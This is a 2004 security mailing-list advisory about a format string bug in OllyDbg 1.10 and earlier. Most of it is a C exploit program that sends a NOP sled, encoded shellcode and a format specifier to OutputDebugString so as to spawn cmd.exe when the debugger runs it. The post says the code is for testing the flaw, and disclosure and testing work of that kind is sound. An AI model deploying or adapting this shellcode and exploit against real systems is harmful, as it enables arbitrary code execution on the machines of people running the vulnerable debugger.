[EXPL] Ollydbg Format String Bug Exploit Code

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To: list@securiteam.com
Date: 10 Aug 2004 19:27:43 +0200

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  Ollydbg Format String Bug Exploit Code
------------------------------------------------------------------------

SUMMARY

A format string bug in Ollydbg was found and reported in our previous
article - <http://www.securiteam.com/windowsntfocus/5ZP0N00DFE.html>
OllyDbg Format String Bug. An exploit code is provided that can test for
this vulnerability.

DETAILS

Vulnerable Systems:
 * Ollydbg version 1.10 and prior

The exploit shellcode uses a NOP sled which is one of the most basic forms
that help an attacker control the execution flow (EIP) by controlling the
return address. This albeit small exploit can be used to test for this
vulnerability in Ollydbg:
--------------------------------- Begin Code
---------------------------------
// Exploit opens a new cmd.exe.Tested on win2k(en)+sp4(en)+ollydbg v1.09d
// Open exploit with ollydebug and run the exploit from ollydebug(F9 key).
// Coded by Ahmet Cihan(a.k.a. hurby)
// Thanx to r3d_b4r0n, Murat Erdo??an(a.k.a. Stormwr), Onur
Cihan(a.k.a.eurnie and 3710336), Orhan Tun????z and Mehmet Yakut.

#include <stdio.h>
#include <windows.h>
#include <winbase.h>

#pragma comment(lib,"kernel32.lib")

void main(){
        unsigned char buffer[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\x99\x40\x81\x38\x54\x55\x52\x4B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\
\x12\x75\xCC\x12\x75\xF1\xFC\xE1\xFC\xB9\xF1\xFA\xF4\xFD\xB7\x14\xDC\x61\xC9\x21\x26\x17\x98\xE1\x66\x49\
\x54\x55\x52\x4B\xCD%.1423x\x3E\x02\x4B\x02";

        OutputDebugString(buffer);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:achurby@hotmail.com> Ahmet
Cihan.

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